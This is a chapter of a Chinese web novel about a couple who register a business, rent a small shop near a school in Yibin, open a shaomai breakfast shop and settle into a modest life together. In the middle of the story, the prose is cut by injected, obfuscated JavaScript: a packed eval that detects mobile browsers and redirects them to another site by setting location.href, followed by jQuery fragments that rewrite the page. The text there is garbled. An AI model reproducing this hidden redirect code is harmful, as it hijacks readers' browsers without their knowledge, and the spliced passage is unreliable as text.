那天是20**年*月*日。


    许清请了半天假，陪付博去办执照。早上八点，两个人站在政务中心门口，看着那栋灰白色的楼，付博深吸了一口气。


    “紧张？”许清问。


    “有点。”


    “紧张什么？”


    “不知道。就是……感觉今天开始，就不一样了。”


    许清笑了。


    “走吧。早晚要迈出这一步。”


    进去之后，他们取号、排队、填表。工作人员是个三十多岁的姐姐，态度挺好，看了他们的材料，指了指几个地方。


    “这里，经营者姓名，填你。这里是经营范围，你们做什么的？”


    “餐饮服务。早餐。烧麦、米线这些。”付博说。


    “行，写清楚点。这里是经营场所，租房合同带了吗？”


    许清把合同递过去。


    工作人员看了看，点点头。


    “行。去那边交费，然后等通知拿执照。”


    交完费，两个人坐在大厅里等。付博一直盯着那个窗口，许清在旁边看手机。


    “付博。”


    “嗯？”


    “你知道吗，个体工商户登记，法律上意味着什么？”


    他转过头。


    “什么？”


    “意味着你要开始承担无限责任了。”


    他愣了一下。


    “啥意思？”


    “就是如果店亏了，欠了债，你得拿全部身家去还。不只是店里的钱，你个人的钱也得还。”


    他眨眨眼。


    “那……那你呢？”


    “我不一样。我是隐名合伙人，执照上没我的名字。我的责任以出资为限，最多亏掉那十万。”


    他沉默了一下。


    “那你……你不怕我把你坑了？”


    她笑了。


    “你坑我试试。”


    他也笑了。


    “不敢。”


    等了半个小时，执照出来了。


    薄薄一张纸，盖着红章，写着“付博”两个字。他拿在手里，看了又看，像看什么宝贝。


    “许清，我有执照了。”


    “看见了。”


    “我……我是老板了。”


    她笑着拍了他一下。


    “走啦老板，去刻章。”


    刻章的地方在隔壁楼。他们选了最基础的套餐，公章、财务章、私章，一套下来三百块。


    等章的时候，付博一直在看那张执照。


    “许清。”


    “嗯？”


    “你说，我爸妈知道我开店了，会不会高兴？”


    她愣了一下。


    “当然会。你儿子有出息了，能不高兴？”


    他笑了。


    “那他们知道是你出的钱，会不会……”


    “会不会什么？”


    “会不会觉得你太亏了？”


    她看着他。


    “付博，你是不是又想那些有的没的？”


    他挠挠头。


    “不是。就是……我总觉得，你付出太多了。”


    她握住他的手。


    “傻子。咱们一起的，说什么付出不付出。”


    章刻好了，三枚，装在盒子里。他接过来，沉甸甸的。


    “走吧。去看铺子。”


    铺子在中学旁边，走路三分钟。


    是个小门面，二十来平，之前是卖文具的。老板姓刘，四十多岁，瘦瘦的，说话有点急。他说生意不好做，不想干了，想把店租出去。


    付博站在门口，往里看。里面空荡荡的，墙上还贴着以前的海报，地上有些灰尘。


    “怎么样？”刘老板问。


    付博走进去，转了转。厨房在里间，大概五六平，够用了。外面摆三四张桌子，挤一挤能坐十几个人。


    他回头看许清。


    许清点点头。


    “刘老板，租金怎么算？”


    “一年三万。押一付三。”


    许清算了算。


    “一季度七千五？”


    “对。”


    “能再便宜点不？”


    刘老板摇摇头。


    “已经够便宜了。你去问问，这附近哪有这个价？”


    付博在旁边听着，突然开口。


    “刘老板，您之前是卖文具的？”


    “对。干了五年。”


    “怎么不干了？”


    刘老板叹了口气。


    “生意不好。现在孩子都网上买，谁还来实体店？”


    付博点点头。


    “那您这店，水电怎么样？”


    “都好的。下水也没问题。”


    付博又看了看厨房。


    “刘老板，我们租了要改厨房，这个您没意见吧？”


    “没意见。你们改你们的。”


    付博回头，看着许清。


    许清想了想。


    “刘老板，合同能签多久？”


    “最少一年。”


    “那行。我们回去商量一下，明天给您答复。”


    出来之后，两个人站在门口。


    “你觉得怎么样？”付博问。


    许清看着他。


    “你觉得呢？”


    他想了想。


    “位置挺好，学生多。房租便宜，成本低。厨房不大，但够用。就是……”


    “就是什么？”


    “就是得装修一下。墙要刷，地要铺，厨房要改。”


    许清点点头。


    “大概要多少钱？”


    “不知道。得找人问问。”


    她笑了。


    “那你还等什么？赶紧问啊。”


    第二天，他们又来了。


    这次带着合同。


    刘老板把合同拿出来，许清接过来，从头到尾看了一遍。


    “刘老板，这个条款，您看能不能改一下？”


    “哪条？”


    “第六条。维修责任。您这写的是‘承租人负责维修’，但按法律规定，主体结构的问题应该是出租人负责。”


    刘老板愣了一下。


    “你懂这个？”


    “我干这行的。”


    刘老板笑了。


    “行行行，你改。”


    许清拿起笔，在那一条上改了几笔，又加了一行小字。


    “刘老板，您看看这样行不行？”


    刘老板接过去，看了看。


    “行。就按你说的。”


    签完字，盖完章，付博把合同收起来。


    “刘老板，钥匙能给我们了吗？”


    “给。明天来拿？”


    “现在行吗？”


    刘老板看了看他，笑了。


    “急什么？”


    “想进去量尺寸，准备装修。”


    刘老板把钥匙掏出来，递给他。


    “行，拿去吧。”


    付博接过钥匙，看着手里那串铁东西，愣了一下。


    “许清，咱们有店了。”


    她笑了。


    “走吧，进去看看。”


    接下来的一个月，忙得像打仗。


    装修、进货、□□、招人。


    付博每天早出晚归，身上永远一股水泥味和油漆味。许清下班就过来帮忙，打扫卫生，摆桌椅，贴菜单。


    有一次，她站在门口，看着那块新装的招牌。


    “[ 三江汇 ]


    乐山·鲜作烧麦”——四个大字，红底黄字，亮堂堂的。


    她笑了。


    “付博，你这名字写上去，以后就出名了。”


    他从里面探出头。


    “出名才好。出名了才能赚钱。”


    5月18日，开张。


    那天早上五点半，付博就起来了。洗漱、穿衣服、出门，天还没亮。许清跟着一起，打着哈欠，走在他旁边。


    到店里的时候，天刚蒙蒙亮。他打开门，开灯，进厨房开始忙活。


    揉面、剁馅、擀皮、包烧麦、蒸烧麦。


    一套流程下来，天已经大亮了。


    七点钟，第一个客人来了。


    是个学生，背着书包，骑着自行车，在门口停下来。


    “老板，烧麦怎么卖？”


    付博探出头。


    “一笼十二，带丝汤五块。”


    学生看了看。


    “来一笼。”


    “好嘞。”


    他赶紧蒸了一笼，端出去。学生坐下，吃了几个，点点头。


    “老板，你这烧麦不错。”


    付博笑了。


    “谢谢。”


    学生吃完，付了钱，走了。


    他看着那十七块钱，愣了几秒。


    “许清，开张了。”


    她正在擦桌子，抬头看他。


    “多少钱？”


    “十七。”


    她笑了。


    “恭喜发财。”


    他也笑了。


    那天上午，陆陆续续来了十几个客人。有学生，有上班族，有路过的大爷大妈。生意不算火，但也不算差。


    中午的时候，付博发了一条朋友圈。


    开张大吉！宜宾南岸中学对面，[ 三江汇]


    乐山·鲜作烧麦正式营业！欢迎大家来尝鲜！


    配图是店门口的照片，热气腾腾的蒸笼，还有他系着围裙比剪刀手的自拍。


    发完，他把手机放下，继续忙活。


    下午三点，许清下班过来。


    “今天怎么样？”


    他正在算账，头都没抬。


    “还行。卖了八十多笼。”


    她走过去，站在他旁边。


    “这么多？”


    “嗯。早上人多，下午少点。”他抬起头，看着她，“许清，你猜今天赚了多少？”


    “多少？”


    “三百多。”


    她愣了一下。


    “这么多？”


    “嗯。成本大概一半，赚了一百多。”


    她笑了。


    “那不错啊。第一天就赚钱。”


    他挠挠头。


    “但今天有朋友捧场。以后可能没这么多。”


    她拍拍他肩膀。


    “慢慢来。会好的。”


    开业第一周，生意不温不火。


    每天能卖七八十笼，赚个一两百块。付博算了算，扣掉房租水电人工，能剩点，但不多。


    他有点急。


    “许清，你说怎么办？”


    她想了想。


    “学生多，你可以做学生生意。”


    “怎么做？”


    “打折呗。学生带朋友来，买一笼送一笼？或者满五减一？”


    他眨眨眼。


    “这样行吗？”


    “试试呗。”


    第二天，他在门口贴了一张海报。


    学生特惠：带同学来，两人同行，第二笼半价！带三个以上，全部八折！


    海报贴出去那天下午，放学的时候，店里突然涌进来一群学生。


    “老板，我们四个人，有优惠吗？”


    “有有有。八折。”


    他赶紧蒸烧麦，一笼一笼端出去。那群学生叽叽喳喳的，吃得开心，走的时候还说要带同学来。


    那天晚上，他算了算账，卖了快一百五十笼。


    “许清！今天卖了快一百五！”


    她在电话里笑了。


    “怎么样？我说行吧？”


    “行！太行了！”


    第二周，生意慢慢稳下来了。


    每天能卖一百笼左右，周末多点，周一周二少点。付博算了算，一个月下来，能赚个四五千。


    虽然不多，但够活了。


    有一天，许清的同事来店里。


    是个女孩，姓周，在许清公司做行政。她站在门口，看了看招牌。


    “付博烧麦？许清，这是你男朋友开的？”


    许清点点头。


    “对啊。来尝尝？”


    小周进去，点了一笼烧麦，一碗带丝汤。吃了几个，眼睛亮了。


    “好吃！许清，你男朋友手艺不错啊。”


    许清笑了。


    “那当然。专门去乐山学的。”


    小周吃完，擦了擦嘴。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17367300|199532||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    “许清，以后你每天给我带早餐呗。我懒得做。”


    许清愣了一下。


    “我？给你带？”


    “对啊。你反正要过来，顺手带一笼。我给你钱。”


    许清看了看付博。


    付博点点头。


    “行啊。收个成本价就行。”


    从那以后，许清每天上班都拎着一袋烧麦。今天小周要，明天老王要，后天李姐要。慢慢的，整个公司都知道她男朋友开了家烧麦店，天天有人托她带早餐。


    有一天，她拎着六笼烧麦进公司，前台看见了，笑着说：“许清，你这是开早餐店还是开外卖店？”


    她笑了。


    “都有都有。”


    晚上回到家，她跟付博算账。


    “今天带了八笼，收了八十块。成本大概四十，赚四十。”


    他愣了一下。


    “这么多？”


    “嗯。同事们都挺捧场的。”


    他笑了。


    “那你替我跟他们说声谢谢。”


    “说了。他们说好吃，明天还要。”


    日子就这么一天天过去。


    每天早上五点，他起床，去店里。七点，开始有客人。九点，学生潮过了，稍微闲一点。中午，附近的上班族来吃饭。下午，准备第二天的材料，打扫卫生。晚上七点，关门回家。


    她每天上班，下班，偶尔来店里帮忙，偶尔带同事的早餐。


    赚的钱不多，但够花。


    欠的债慢慢还。


    日子平淡，但踏实。


    有一天晚上，他回来得很晚。


    许清已经洗了澡，躺在床上看书。听见门响，她坐起来。


    “回来了？”


    “嗯。”


    他走进屋，身上一股葱蒜味，混着油烟，呛得她直皱眉。


    “付博，你这身上什么味？”


    他低头闻了闻。


    “烧麦味。”


    “烧麦味？”


    “嗯。葱姜蒜，肉馅，花椒，混在一起，就这味。”


    她笑了。


    “你快把衣服脱了，熏死我了。”


    他脱了外套，扔在地上。她又指了指裤子。


    “裤子也脱。”


    “裤子也脱？”


    “对。扔那儿，明天我洗。”


    他照做了，光着腿站在那儿，有点不好意思。


    “许清，我是不是特别臭？”


    她看着他，看着他光溜溜的腿，看着他不好意思的表情。


    “臭。特别臭。”


    他挠挠头。


    “那我去洗澡。”


    “快去。”


    他进了浴室，水声哗哗响起来。她爬起来，把他扔在地上的衣服捡起来，抖了抖，扔进盆里，倒了洗衣液，泡上。


    泡了一会儿，水变成灰黄色，上面飘着一层油星。


    她看着那盆水，笑了。


    他洗完出来，换了睡衣，坐在她旁边。


    “衣服泡上了？”


    “嗯。泡一会儿再洗。”


    “谢谢。”


    她看着他。


    “付博，你知道你现在像什么吗？”


    “像什么？”


    “像一块腌入味的腊肉。”


    他愣了一下。


    “腊肉？”


    “嗯。从里到外，全是葱蒜味。洗都洗不掉。”


    他笑了。


    “那怎么办？”


    她想了想。


    “就这样呗。反正我闻习惯了。”


    他靠过来，想抱她。


    她躲开。


    “别过来。洗完澡也不行。”


    “为什么？”


    “你牙上有葱。”


    他愣住了，然后跑去照镜子。


    她躺在床上，笑得不行。


    他回来的时候，手里拿着牙刷。


    “刷了？”


    “刷了。”


    “还有味吗？”


    “没了吧。”


    她凑过去闻了闻。


    “还有一点。”


    他又要去刷。


    她拉住他。


    “行了行了，逗你的。过来。”


    他坐下来，她靠在他肩膀上。


    “付博。”


    “嗯？”


    “今天累不累？”


    “还行。卖了快一百笼。”


    “那不错啊。”


    “嗯。小周今天又带了五笼走。”


    她笑了。


    “她天天吃，也不腻。”


    “她说好吃。”


    她靠着他，听着他的心跳。


    咚。咚。咚。


    很稳。


    “付博。”


    “嗯？”


    “这样的日子，你觉得怎么样？”


    他想了想。


    “挺好的。”


    “怎么好？”


    “能赚钱，能干活，能跟你在一起。”他顿了顿，“虽然累点，但踏实。”


    她笑了。


    “我也是。”


    窗外，宜宾的夜很安静。


    月光从窗帘缝里透进来，在地上画出一道白线。


    她闭上眼睛。


    想着明天还要早起。


    想着那些烧麦。


    想着那笔还没还完的债。


    但心里，是安稳的。


    因为有他在。


    有这家店。


    有这些平平淡淡的日子。


    她突然开口。


    “付博。”


    “嗯？”


    “谢谢你。”


    他愣了一下。


    “谢什么？”


    “谢谢你让我过上这样的日子。”


    他没说话。


    只是把她搂得更紧了。


    过了一会儿，他开口了。


    “许清。”


    “嗯？”


    “以后咱们好好过。”


    她笑了。


    “好。”


    月光还在。


    夜还很长。


    她靠在他怀里，慢慢睡着了……